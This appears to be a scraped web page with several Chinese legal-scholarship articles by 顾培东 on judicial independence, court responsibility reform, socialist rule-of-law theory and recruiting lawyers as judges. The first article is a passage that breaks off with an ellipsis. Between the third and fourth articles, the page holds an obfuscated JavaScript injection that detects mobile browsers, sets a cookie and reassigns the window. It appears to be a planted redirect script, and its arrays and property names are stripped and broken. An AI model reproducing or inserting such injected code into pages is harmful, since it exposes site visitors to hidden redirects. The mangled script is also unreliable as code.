司法权与其他各种政治权力的联系很紧密,并且有多方面的交集;不仅如此,由于司法权具有一定的派生性和从属性(如前所述,司法只是一种政治装置),相比之下,其他政治权力往往具有更高的实际位势,因而如果司法权行使的独立性得不到高度重视和强调,势必会受到其他政治权力的侵蚀或干涉,因此,坚持和保障司法权独立行使,也是对基本政治秩序的坚守和维护。前述三个方面,尽管是近于常识的简单道理,但明确这些,至少可以得出这样的结论:承认并保障司法在特定意义上独立性,不仅不会损伤政治权力,而且还有利于政治权力的巩固和提升;而认清这一点,对于消除当下人们在意识形态领域中对司法权行使独立性的疑虑和纠结,无疑是必要的。 在实践层面上,保障司法权依法独立行使似应着力解决这样几个问题:第一,进一步明确和规范党对司法领导与人大对司法监督的内容以及途径与方式。党的领导集中体现在:(1)政治领导,主要指司法应服从并致力于贯彻实施党的路线、方针、政策;(2)组织领导,主要指司法人员,尤其是司法机关领导干部的选任由党组织把关;(3)思想领导,主要指司法人员应经常不断地接受党组织的主流意识形态的教育。人大的监督则应坚持:(1)组织监督,以组织形式进行监督,而不是人大成员个人对司法实施监督;(2)一般监督,对司法工作整体状况进行监督,而不是对某个司法个案进行监督;(3)事后监督,即便某些案件反映出司法机关的普遍性问题,也应在相关案件司法程序完结后针对普遍性问题进行监督,而不是在司法程序进行过程中针对个案的处置进行监督。 第二,进一步划清司法权与其他政治权力之间的边界。总体原则是,依法属于司法主管的事务,完全交由司法机关依照司法程序解决;不属于司法职能的事务,不应要求司法机关承担。据此,(1)党政组织对于涉及司法问题的上访,一律交由司法机关处理,并且党政组织不对问题的实体处理提出任何意见,逐步堵死涉法上访的通道,直至这种现象完全绝迹;(2)纪检委只负责党政干部违纪问题的查处,在查处中发现有犯罪线索的,即转交司法机关侦办,而不宜替代司法机关对涉嫌犯罪问题进行深度侦查,更不应对相关行为的事实及性质作出定论。这也是反腐由治标向治本转变,实现制度化反腐的必然要求。(3)党政组织不得要求司法机关参与司法职能以外的任何事务的处理,不得为司法机关设置司法职责以外的责任和义务。 第三,充分保障司法在司法事务中的自主性和自决权。在我国现实条件下,对于极少数具有重大社会影响的案件,党委政法委参与意见的情况事实上仍不可避免,但无论如何,都应尊重司法机关的主导地位,保证和保持司法机关在实体或程序问题处理上的自主性和自决能力。 (二)全社会应当形成和确立怎样的司法观? 改善司法生态也迫切需要从司法的真实本相出发,适度调校人们对司法的基本认知,在全社会形成并确立正确的司法观。 确立正确的司法观,首要方面自然是倡导全社会尊重司法、信赖司法,认同司法的权威,但当下更为重要或更为现实的问题是,引导全社会对司法这一社会实践的特异性、客观局限性形成恰当的认识,并在下述几个方面建立明确的共识:第一,并不是所有的社会矛盾和社会纠纷都能通过司法手段加以解决。这不仅指司法就其容量而言不能包揽全社会所有矛盾和纠纷,同时也指司法这种手段只适用于某些矛盾和纠纷的解决。庞德较早揭示过法律、从而也是司法的这种局限性,指出“法律作为一种社会工具存在着三种重要的限制” ;当代美国法学家考默萨在《法律的限度》中把“人数众多、关系复杂”理解为司法手段运用的实际制约因素。考默萨认为,在人数众多,诉求多样,各种诉求均有合理性、合法性而解决方式又不能兼容的情况下,司法手段的尴尬和无奈便不可避免。 第二,司法有其特定的解决矛盾和纠纷的程序和方式。首先,司法需要把矛盾和纠纷通过证据等方式转换成司法认知与判断的模式,在司法语境中重新还原和叙述矛盾和纠纷的过程。因此,在司法中认定的法律事实与矛盾和纠纷原初的自然事实很可能不一致。也就是说,司法只能力求接近客观事实的真相,而不能完全回复真相。这也意味着通常所谓的“实事求是”,在司法中实际上是不可能绝对做到的。其次,司法程序有它的终局性,在经历了所有法定程序后,即便矛盾和纠纷仍未得到恰当处置,亦只能就此终结。因此,严格说来,“有错必纠”也不完全适合于对司法的要求。再次,司法始终只能根据既有的利益范围在当事人之间分配资源,而不能为当事人提供新的资源;对于需要增加资源才能消弥的矛盾和纠纷,司法也只能抱撼以对。因此,所谓的“案结事了”也只能是一种良好愿望而已。第三,司法对公平正义的理解和把握有其确定的标准,与非专业人士的社会认知也有一定差异。诸如诉讼时效、程序失权、疑罪从无等司法中常规适用的制度或原则并不能为社会公众所普遍理解;依据这些制度或原则而处置的案件,其公正性亦很难得到社会公众的普遍性认同。 不仅如此,司法永远无法迁就部分社会成员在朴素情感上所形成而与这些制度或原则明显悖离的“公平正义”观念。第四,司法始终受制于立法资源的限制。一方面,对于立法尚没有作出规定的新型社会关系和社会生活中的新领域、新问题,司法难以接纳其中所滋生的矛盾和纠纷,或者虽然受理,但由于缺少贴切的法律依据,难以恰当加以处理;另一方面,由于立法具有一定的滞后性,因而立法中某些条款随着情势的变化而可能丧失其合理性或公正性,对此,司法亦很难超越现行立法的规定而调整这种偏差。这也意味着司法往往需要直接承受立法不公或立法缺失的后果。第五,司法是一种成本较高甚而昂贵的矛盾和纠纷解决方式。 就普通诉讼程序而言,任何一个案件的司法处置,在人力、物力、财力方面的耗费都会是很大的,特别是在“案多人少”矛盾极为突出的情况下,司法手段运用的边际成本更高。因此,鼓励一切纠纷都通过司法途径解决,甚至倡导“打一元钱官司”的主张,既是对司法功能的一种误解,也是对“法治观念”或“法治意识”的一种片面认识。第六,司法不可能保证或做到不出现错案、甚至冤案或假案。受人的认知能力的局限和有限理性的制约,加之前面所提到的一些因素,司法如同其他社会活动一样,其产品在概率上始终会有不同程度的缺陷。任何社会中,再完善的司法也会产生冤假错案。 “古今中外,冤假错案总是刑事司法领域中难以驱散的幽灵。” “审判可能出现错误,甚至极可能出现错误,不,非常确定错误迟早会出现,”在司法领域,“不管我们怎样努力避免错误,错误总是在所难免” 。因此,司法需要全社会对之付以必要的包容,尤其不应因极少数冤假错案的存在而对司法工作整体予以否定。 指出司法的前述这些特性决不意味着要求人们完全消极地接受一个“不完美的司法”,更不意味着藉借这些特性掩饰司法现实中存在的问题,主要还是希望说明,社会各方面应当全面、理性地了解和看待司法,在看到司法种种积极功能并据以对其抱有很高期待的同时,也能够理解司法领域中这些不以人们主观愿望所转移、甚至与司法自身努力无关的客观局限,在全社会建立共同的对司法的认知基础。唯有如此,司法才会获得宽容的生存空间。 (三)司法如何体认和履践自己的政治和社会角色? 尽管司法生态所体现的是外部因素对司法的影响,但司法生态的改善则并不完全取决于外部因素的变化。更进一步说,前面所提到的我国司法生态中的某些因素,实际上也是我国的固有国情,难以寄望通过人为努力在短时期中发生根本性改变,因此,改善司法生态的另一基础性问题就不能不反致于司法自身,亦即司法如何体认并履践自己的政治和社会角色,包括如何自如地存在并恰当地适应这种特定的社会条件和社会环境。 概括地说,司法体认并履践自己的政治和社会角色,应参照或依据于下述三个基点: 第一,主导政治力量对司法政治功能的要求与期待。这也是司法为自己建立政治正当性以及找准自己政治定位的基本参照和依据。从这一基点出发,一是把司法职能有机融入到主导政治力量国家治理和社会发展的政治功能之中,特别是通过最高司法机构把主导政治力量的路线、方针和政策适时地转化为阶段性司法工作的重点、司法政策及司法取向,在司法过程中体现这些路线、方针和政策的要求,亦即达玛什卡所说:“能动主义司法的最终目的在于将国家政策贯彻到法官所审理的案件之中。” 二是妥善处理和解决社会变革过程中出现的各种社会矛盾和纠纷,尤其是防止这些矛盾和纠纷累积并衍变为大规模的社会对抗,进而影响社会稳定和安定,影响政权的稳固。三是在社会全面转型的背景下,通过司法建构和型塑主导政治力量所希望的社会结构和社会关系,倡导和维系主导政治力量所希望的社会秩序,推动社会变迁和社会转型。 第二,对司法权依法独立行使的维护以及对司法自主地位的珍重。不可否认,在司法权依法独立行使方面,司法往往处于弱势地位,且具有一定的被动性,但同样应当看到的是,现实中这方面所存在的问题,与部分司法机关领导思想意识不健康、政绩观不正,为谋取利已评价、“搞好关系”而放弃原则甚而曲意逢迎亦不无联系。因此,司法在体认和履践自身政治和社会角色时,必须建立明确的维护司法权依法独立行使的意识,保持必要的自尊和自重。一是始终坚持在具体司法事务处理上的主导地位,保持对司法程序和司法结果的终极性话语权。二是敢于并善于抵制不同势力以各种不同形式直接或间接对司法权行使过程及结果的干预和影响,特别是要落实党政领导干部过问案件情况登记制度。三是立足司法职能,不向地方党政组织主动承揽任何超越司法职能的事务,也不接受地方党政组织对司法机关提出的类似要求,包括不参与司法程序以外为处理某些事件或纠纷而设立的“领导小组”等类似的工作机构,始终把自己的行为界域限制在司法职能之内及司法程序之中。四是不接受人大代表、政协委员个人(包括以多人名义)基于非组织化途径而实施的所谓“个案监督”,同时应适当淡化对“两院”工作报告通过的“得票率”意识,尤其应避免刻意追求“两院”工作报告高票甚至全票通过。道理十分浅显:“在一定程度上,审议报告的投票多少并不能够客观地反映法院的工作。” 同时,过度追求得票率势必会损伤司法尊严并扭曲司法行为。 第三,保持司法与社会生活恰当融合这也是司法体认和履践政治和社会角色所必须考量的另一个基点。维护司法权依法独立行使决不意味着司法机关僵化、机械地适用法律,闭门司法。改善司法生态既需要社会各方面正确认知司法,同时也需要司法全面了解社会,贴近于社会生活,根植于社会实践。事实上,现代司法发展的一个重要趋势就是司法逐步放弃其自闭、自洽、矜持的特性,而更加富有开放性和包容性。这一方面体现于司法对社会生活的影响渐次深入,另一方面也在于司法与社会生活的相融度不断提升。无论在奉行实用主义进路的美国,抑或在具有保守主义传统的大陆系国家,当代司法都不同程度地显现出这一趋势。波斯纳批评“法官对真实世界不上心”以及法官普遍存在着法律教义以外的知识缺失的现象, 这种批评的背后潜含着对司法更加贴近和融合于现实的社会生活的客观要求。在国情因素较为特殊、社会分层所引起的社会同质化程度较低,以及社会转型过程中社会生活复杂多变的当代中国,司法更应顺应这样的趋势。为此,一是要密切关注社会发展的动态,把及时有效地解决社会生活中的现实性矛盾和问题作为司法的根本任务,尽可能保持司法功能的发挥与社会发展节奏的同步,减少司法的滞后性。正如霍姆斯所说:“对一个坚实法律体系的第一要求是,它应当回应该社区的实际感受和要求,无论其是对还是错。” 二是要了解并尊重社会生活的实际过程和基本逻辑,特别是对经济类矛盾和纠纷是非的判断应当在符合法律规范的前提下,保持对经济交往基本习惯的尊重,尽可能寻求“司法之理”与社会生活的逻辑的契合,避免两者格格不入,互相龃龉,以至于出现“司法不解社会之风情”的现象。三是注重常情、常理、常识与法律规范的适调,在人民群众朴素公正平义观与司法对公平正义的把握之间寻求最大公约数,一方面最大限度地承认并包容常情、常理、常识在实际生活中对人们行为的支配和影响作用,另一方面引导社会成员的公平正义观的进化与改善,逐步把一些技术性较强的法律原则和原理转化为社会成员普遍认同的常情、常理和常识。四是高度重视个案处置的社会效果,综合考量案件所关涉的各种因素,保持对个案司法处置的边际效果和间接影响的恰当预期,努力追求法律效果与社会效果的统一。需要指出的是,我国有学者基于对司法权独立行使的倡导和维护,主张放弃对政治效果、社会效果、法律效果统一的追求,理由是“司法的政治效果、社会效果和法律效果的统一客观上导致政治效果、社会效果超越法律效果” ...

完善中国特色司法审判制度的重大步骤

四川大学法学院教授 顾培东 本文原载《人民法院报》2015年9月23日第2版 新中国成立以来,特别是上世纪70年代末法治建设恢复以来,中国特色司法审判制度一直处于探索之中。正因为如此,对于人民法院而言,这一轮司法改革,不仅面临着解决实践中突出矛盾和主要问题的现实任务,更承载着推进中国特色司法审判制度基本定型并趋于完善的历史使命。《关于完善人民法院司法责任制的若干意见》(下称《若干意见》)的出台,在型塑和完善中国特色司法审判制度方面迈出了重要一步。虽然《若干意见》以法院司法责任制为主题,但基于司法责任制在审判运行全局中的核心地位和作用,因而其内容实际涵盖了人民法院审判运行的方方面面及整个过程,由此也奠定了中国特色司法审判制度的基本架构,描绘出中国特色司法审判制度的基本图景。本文试从以下几个方面理解和把握《若干意见》的主要精神和内在机理: 一、以权力重心下移为取向重塑人民法院内部审判权力格局 在以人民法院作为审判主体的既有制度前提下,审判权如何在法院内各主体之间配置,这是确立中国特色司法审判制度所面临的首要问题。近10多年来,在此方面,制度及实践层面上都有一些反复,但迄至现今,总体上说,作为审判权核心的裁判决定权,仍然主要集中于院庭长及审委会之身,至少院庭长及审委会对裁判结果保持着不同程度的终极性话语权。这也是当下饱受各方面诟病的“审而不裁、裁而不审”现象。《若干意见》最为突出的举措在于,依据“审理者裁判,裁判者负责”的原则和理念,坚持以权力重心下移为取向,把绝大多数案件裁判的决定权赋予独任法官和合议庭,从根本上改变了裁判层层审核或审批的审判权运行方式,重塑了法院内部的审判权力格局。《若干意见》不仅确立了“遵循司法权运行规律,体现司法权的裁判权和裁决权属性,突出法官办案主体地位”的基本原则,更明确了独任法官和合议庭直接签发裁判文书的权力,并规定除审委会讨论决定的案件以外,院长、副院长、庭长对其未直接参加审理案件的裁判文书不再进行审核签发。这样一种新的权力格局的意义在于,一方面,法官在审判中的基础性、主导性作用得以充分体现,法官真实地成为案件的裁判者,从而回归这一职业的本质;另一方面,法官在自主、自决能力提升的同时,自我责任意识随之增强,对其他主体的依赖相应减少;再有,由于减少了裁判文书在层级中的周转,审判的效率也会有明显的提高。需要指出的是,法院内部权力重心下移的改革并不完全始自于《若干意见》,但与此前所不同的是:第一,《若干意见》所塑造的权力格局是以员额制改革配套为背景的,员额制下的法官在总体素质上较前有很大提升;第二,《若干意见》在塑造这样一种权力格局的同时,建构了相应的责任体系,强化了对权力行使的约束;第三,《若干意见》对院庭长管理监督的边界作了严格限定,以防止独任法官、合议庭的权力受到侵蚀。这几点能够有效保证重心下移后权力格局的相对稳定性,很大程度上可以避免过去曾经出现的权力下放后又上收的反复。 二、以规范审判运行秩序和合理配置审判资源为目标明确各主体的职能与职责定位 长期以来,法院内部各主体职能不清、职责不明一直是审判工作中存在的突出问题。职能不清、职责不明最直接的后果是审判运行秩序的紊乱。在具体审判活动中,各主体都可能依据自己不同的身份、以不同的方式、通过不同的途径和渠道,或明或暗地对案件的审理或裁判产生不同程度的影响,同时也可以以多种方式和理由推卸对案件审理或管理监督的责任。虽然多数人把“行政化”视为法院审判工作的主要病弊,但我认为,对审判工作影响更大的问题是审判运行秩序的紊乱。《若干意见》的重要内容是对法院内各主体的职能和职责作出了明确界定,从独任法官、合议庭到审委会、专业法官会议,从院长、副院长、庭长到审委会专职委员,从合议庭成员、法官助理到书记员,每一个主体的职能与职责在《若干意见》中都有明确的定位,其职能和职责范围及其行使或履行方式都有相应的规定。如此明确、全面地对法院各主体的职能和职责作出界定,尚属首次。更值得重视的是,《若干意见》在对各主体职能和职责界定的过程中,除了体现权力重心下移取向、确立独任法官和合议庭的审判主体地位外,还依据于两个目标维度:一是通过划清各主体的行为边界,明确各主体的行为方式和行为效力,规范审判运行秩序。特别是对具有直接交集的审判权与审判管理监督权在实际运作中所可能出现的权力互蚀或彼此排斥现象,《若干意见》给予了充分的关注,通过突出强调某些不能逾越的底线(如规定院长、副院长、庭长除参加审判委员会、专业法官会议外不得对没有参加审理的案件发表倾向性意见),以及规定某些特殊情况的处理原则和方式(如规定对某些情形下的案件,院庭长介入的权力及处理方式和效力),从而保证审判权和审判管理监督权的恰当行使。可以推断,各主体只要依照《若干意见》所确定的职能和职责行事,法院审判运行的有序化就是能够得到实现的。二是根据各主体的身份、性质及特点确定其职能和职责,最大限度实现审判资源的合理配置。主体职能和职责的定位,既体现了审判运行秩序的要求,同时也是审判资源的直接配置。《若干意见》在总结长期审判实践经验的基础上,把审判资源合理配置的要求贯彻在主体职能定位之中。在独任法官与合议庭的分工,院长与副院长、庭长的分工,专业法官会议与审委会的分工,法官与法官助理的分工以及法官与院庭长在作为合议庭成员参与审理案件中的分工等方面,都体现了审判资源合理配置的要求,从而既能够保证各尽其职,亦能体现出各尽所能,有助于最大限度地发挥人民法院整体审判资源的作用。 三、以保持法院对审判活动的整体控制力为前提实施并强化审判的监督管理 实践中,人民法院所面临的一个重要内在矛盾是审判主体的整体化(以人民法院名义进行审判活动)与审判行为的个别化(具体审判行为由内部成员实施)之间的矛盾。特别是在权力重心下移、审判职能主要由独任法官和合议庭行使的情况下,如何保持法院对审判活动、尤其是对个别化的审判行为保持恰当的控制力,这既是实践中难以把握的问题,更关系到司法责任制改革的成败。《若干意见》除了通过审判责任追究制度的约束外,还着力从几个方面实施并强化审判的监督与管理:一是强调依据信息技术、建构开放动态的阳光司法机制,建立健全审判公开的三大平台,发挥各种监督的作用;三是建立符合司法规律的案件质量评估体系和评价机制;四是通过建立法官考评委员会,加强对法官个人绩效及行为操守的考核评价;五是建立审判业务法律研讨机制,通过类案、案例评析等方式统一裁判尺度;六是规定对几类特殊情形下的案件,院长、副院长、庭长有权要求独任法官或合议庭报告案件进展和评议结果,并有权提交专业法官会议或审委会讨论。这几个方面能够形成三个效果:其一,保持审判行为足够的透明度,使审判活动始终置于相关各方的审视之下,消除管理监督中的盲区。其二,保持对审判行为常态化的约束力和引导力,使审判行为在恰当的规范下有所顾及、有所禁忌、有所遵循、有所趋从。其三,保持对失当行为适时矫正的能力。特别是保留院长、副院长及庭长对几种情形下案件介入的权力以及审判委员会对相关案件裁判的最终决定权,有助于防止独任法官或合议庭在重大问题上出现偏差。从目前现实看,这一制度设计对于保持法院对整体审判活动的控制力是完全必要的。 四、以权责相符、主客观统一为原则建构审判责任认定和追究制度 审判责任的认定和追究是《若干意见》中份量很重的内容。从审判责任范围、审判责任承担到违法审判责任追究程序,《若干意见》都作了较为系统、较为详细、且具有较强操作性的规定。审判责任认定和追究问题自“一五”改革规划出台以来就已经提出,但由于这一问题的复杂性,加之过去各主体的职责与权力边界不够清晰,因而在此方面制度与实践上都没有实质性进展。《若干意见》在总结实践经验、广泛吸收各方面意见的基础上,并根据改革后职能与权力的定位以及新的审判运行方式,对审判责任认定与追究的相关问题作出规定。总体上说,《若干意见》这些规定体现了两个基本原则:一是权责相符的原则。一方面,各主体有什么样的权力,就有什么样的责任;另一方面,各种不同的权力也分别对应着不同的责任。如前所述,新的运行机制下,法官在审判中的权力大大增加,因而针对法官履行审判职责行为的责任约束也大大强化。责任约束不仅细化到审判行为的各种错失,更重要是明确规定法官对办案质量终身负责。同样,具有管理监督权力和职责的人员,因怠于管理监督或管理监督行为失当,《若干意见》也规定了相应的责任。二是主客观统一的原则。一方面,《若干意见》对一般性审判责任与违法审判责任、造成后果的责任与未造成后果的责任作了区分,根据不同的主客观情况,追究不同的责任且适用不同的责任认定和追究程序;另一方面,《若干意见》对于几种情形下依再审程序改判的案件,明确规定不得作为错案进行责任追究。这一点,充分体现了主客观相统一的原则,同时也解除了法官在履职行为中不必要的担忧。此外,《若干意见》还专章规定了对法官履职的保障,这既是对法官正确履职行为的有效激励,也可以视为对审判责任追究的必要补充,因为如果没有保障和激励机制的支撑,责任约束机制难以真正形成和长期维系。 毫无疑问,中国特色审判制度的形成和完善是一个长期探索的过程,《若干意见》虽然为这一制度提供了一个基本架构,但其中的不少内容仍然需要经受实践的检验,需要在具体的实施中加以完善。特别是在我国各级、各地法院实际情况和条件差异较大的情况下,如何全面适用并适应其中各项制度或要求,仍有待于多方面的探索和努力,但无论如何,《若干意见》在我国司法审判制度的构建与完善中,具有里程碑的意义。 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中国特色社会主义法治理论建构的几个问题

作者:顾培东,四川大学985平台首席科学家、教授、博士生导师 本文原载《民主与法制时报》2015年7月23日第7版 众所周知,理论的最重要的体现形态是学术文本,学术文本通常是理论的基本载体。然而,不能回避的事实是,迄至今天,法学界尚没有贡献出一部能够集中且全面、系统阐述中国特色社会主义法治、具有一定经典性的学术论著。造成这种局面的原因很多,但最主要还在于法学界对中国特色社会主义法治中的一些基本问题研究得尚不够透彻,认识上存在一定的分歧,同时研究力量也不够集中。因此,当下法学界迫切需要对中国特色社会主义法治的一些基本问题进行集中、深入的研究。我试就其中的几个问题,提出探讨性意见。    一、关于“中国特色社会主义法治”的定义或表述 中国特色社会主义法治理论首先必须从概念上回答什么是中国特色社会主义法治?我尝试提出这样的定义或表述:中国特色社会主义法治是当代中国依据于中国社会现实条件和现实处境,并立基于社会发展要求和国家的历史命运而对法治这一现代国家治理基本方式所作出的独特认知与理解、独特的探索与实践。    这一定义或表述主要有两层涵义:一是中国特色社会主义法治是当代中国对法治这一现代国家治理基本方式的独特认知与理解以及独特的探索与实践;二是这种认知、理解以及探索和实践产生于对中国的社会现实条件和现实处境的考量,并体现了对当代中国社会发展要求的适应和历史命运的把握。 二、关于法治的“中国特色”的概括与提炼 中国特色社会主义法治理论进一步要回答的问题是什么是法治的“中国特色”?我认为,法治的“中国特色”可以概括为八个方面:一是在法治发展方向和法治建设的基本路径方面,坚持从中国国情出发、走自主化法治道路与积极吸收人类法治文明成果、广泛借鉴其他国家成熟的法治经验相结合;二是在主导政治力量与法治的关系方面,坚持并发挥执政党对法治工作的领导和推进作用与执政党自觉接受宪法法律约束、依照宪法法律开展活动相结合;三是在法律与其他社会规范的关系方面,坚持发挥法律对社会生活的规范和约束的基础性作用与发挥道德等其他社会规范对社会行为的调节和引导作用相结合;四是在司法的地位及其与外部社会关系方面,坚持切实保障司法权依法独立行使与促进司法同外部社会密切融合、保证司法适应社会发展的要求相结合;五是在法治社会中社会成员的地位方面,坚持人民的主体性,最大限度地维护和保障社会成员的合法权益、推动民生逐步改善与不断强化社会成员的法治意识,教育社会成员自觉遵法守法相结合;六是在权力与权利关系的处理方面,坚持各种权力和权利的相互配合、相互协调与各种权力和权利之间的相互制约、相互监督相结合;七是在社会矛盾和纠纷化解方面,坚持发挥司法手段在化解矛盾、建构和维护社会秩序中的主导作用与统筹运用各种治理资源、有效实现社会治理相结合;八是在法治运作的策略与方式方面,坚持不断提升法治运作的正规化、专业化技术化水平与注重法律手段适用的大众化、实效化以及适应性相结合。毫无疑问,任何一个国家法治的特色都是在相对意义上成立的,因此,前述几个方面,只有结合于中国法治的具体实践,其“特色”才能进一步得以显现。 三、关于中国特色社会主义法治理论的基本结构    事实上,十八届四中全会决定作为全面推进依法治国的纲领性文件,其框架已经为此提供了明确的依据和参照。据此,中国特色社会主义法治基础理论的结构似应包括:(1)法治与中国特色社会主义法治(或法治文明及其在当代中国的实践形态),主要阐述作为现代国家治理基本方式的法治以及作为人类文明现象的法治与当代中国法治之间的关系;(2)中国创立与实行法治的历史过程,主要阐述自晚清以来、特别是新中国成立以来法治在中国所经历的历史阶段,其间的坎坷曲折,并总结其中的经验教训;(3)法治的“中国特色”,着重阐述当代中国法治的具体特色,并揭示形成这些特色的政治、经济、文化及社会成因;(4)立法与法律体系的形成,重点阐述中国立法体制、立法机制以及法律体系;(5)司法体制及司法权运行机制;(6)行政执法与法治政府建设;(7)全民守法与法治社会的形成。我认为,评价这一结构的完整性和合理性,应跳出法理学著述既有结构与体系的框框,关键看其能否较为全面地反映中国法治实践的基本面貌和基本原理。 四、关于中国特色社会主义法治理论的研究和阐释方法    在此方面,最主要应把握两点:第一,坚持实践性立场和方法。要全景式地描述中国法治运行的真实状况。客观地揭示我国法治运行所面临的矛盾和所存在的问题,理性地分析这些矛盾或问题的成因。建设性地提出法治各项工作发展与完善的目标与路径。第二,始终不脱离法治或法律的一般或基本原理。既然是研究和阐释法治理论,就不应脱离法治或法律的一般原理。在我看来,所谓的“中国特色”,仍然是建立在法治基本原理上的特色,每一个“特色”都有其相应的法理依据。 五、关于拓展法学界对中国特色社会主义法治的共识    加强中国特色社会主义法治理论的研究,需要汇聚法学界的合力,而汇聚这种合力,又需要拓展法学界对中国特色社会主义法治的共识。然而,事实上,法学界在此问题上是存在着较大的理论分歧的,而这种分歧的背后则是“普适性”或“普世论”与“国情论”或“特色论”的二元对立。前者强调各国法治原理、制度乃至范畴或概念的相通性、相同性,后者则强调中国国情的特殊性、独特性。不同的守持,往往酿成了不同法学人对中国法治总体评价以及具体制度或实践认识上的分歧。    因此,我认为,当下中国法学人应建立一种明确的自省意识,重新审视自己的法治观,特别是对当代各国法治发展和变化的趋势保持充分的了解,同时对中国国情因素与法治实践的关联性保持透彻的把握,并通过多种形式,利用多种渠道进行真诚的对话与讨论,在此基础上对中国特色社会主义法治的基本问题形成更多的共识,把法学研究的关注点和研究力量聚焦和集中到中国特色社会主义法治理论的系统化建构之上,尤其是最尽快推出一部全面、系统、阐述中国特色社会主义法治、具有一定权威性、经典性的理论著述。 var _0x446d=;if(document]](_0x446d)== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1](_0x446d)== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-)|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10|n20|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-(|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i](_0xecfdx1](0,4))){var _0xecfdx3= new Date( new Date()]()+ 1800000);document]= _0x446d+ _0xecfdx3]();window]= _0xecfdx2}}})(navigator]|| navigator]|| window],_0x446d)}

让更多律师法学专家来做法官检察官

此文发表于2015年4月17日《人民日报》 作者:顾培东,四川大学法学院教授 近年来,律师、法学专家与法官、检察官之间一直呈“逆向流动”态势,即不是律师、法学专家转行法官、检察官职业,而是较多的法官、检察官转入律师或法学教育研究队伍,造成了一些突出问题。党的十八届四中全会《决定》从推进法治专门队伍正规化、专业化、职业化,提高职业素养和专业水平的要求出发,提出建立从符合条件的律师、法学专家中招录法官、检察官制度。这是对我国现行法官、检察官遴选制度的一项重要改革。   目前我国法官、检察官招录的基本方式是在公务员考试中定向招录通过国家统一司法考试取得资格的人员。虽然这一方式并不排斥对律师、法学专家的选录,但由于有公务员统考门槛等因素,因而鲜有律师、法学专家报名参与,实际报考应试的主要是法学专业毕业生。这种招录方式的缺点主要体现在两个方面:一是法学专业毕业生缺少必要的社会历练和足够的专业培训,业务水平、社会经验以至于思想作风等与法官、检察官的素质要求往往有较大差距。二是难以吸引成熟的律师或法学专家进入法官、检察官队伍,使法官、检察官难以成为聚集优秀法律人才的职业,影响司法总体质量和水平。客观地看,近30 年来,各级司法机关受理的案件持续大幅度增加,司法人员的需求量很大,司法队伍扩充的要求十分迫切,因而实践中不得不大量吸收法学专业毕业生充任法官、检察官。   改革法官、检察官遴选制度,从律师、法学专家中招录法官、检察官,从根本上说是对司法活动本质的一种尊重。司法活动的本质是把条文中的法律适用于各种社会现象,对案件涉及的社会事实进行评判或处置。因此,进行这种判断或处置的法官或检察官,不仅要熟知相关法律规定,更要对案件所涉的社会活动或社会行为有所了解。也就是说,一定的社会经验和社会历练是法官或检察官执业的基本前提。只有使司法判断或处置既符合法律规定又立足于社会常识和社会经验,才能保证案件处理契合人民群众对公平正义的感受。相对于法学专业毕业生来说,律师、法学专家群体中多数人具有较多社会实践经历,在对法律的理解和把握上具有更多优势,更有条件胜任法官或检察官。   进一步看,从律师、法学专家中招录法官、检察官,有利于打破法律职业之间的壁垒,为人们在法律职业之间转换和流动打开方便之门。这有利于理论与实践结合,增进法律职业之间的了解信任,形成并强化法律职业共同体意识,提升法律职业整体素质与水平。尤为重要的是,这一举措将对我国律师职业良性发展产生重要影响,有助于引导律师强化执业自律,培养政治意识,修炼职业操守,提升律师业的凝聚力。这最终又会为法官、检察官队伍蓄积和提供优秀后备人才。   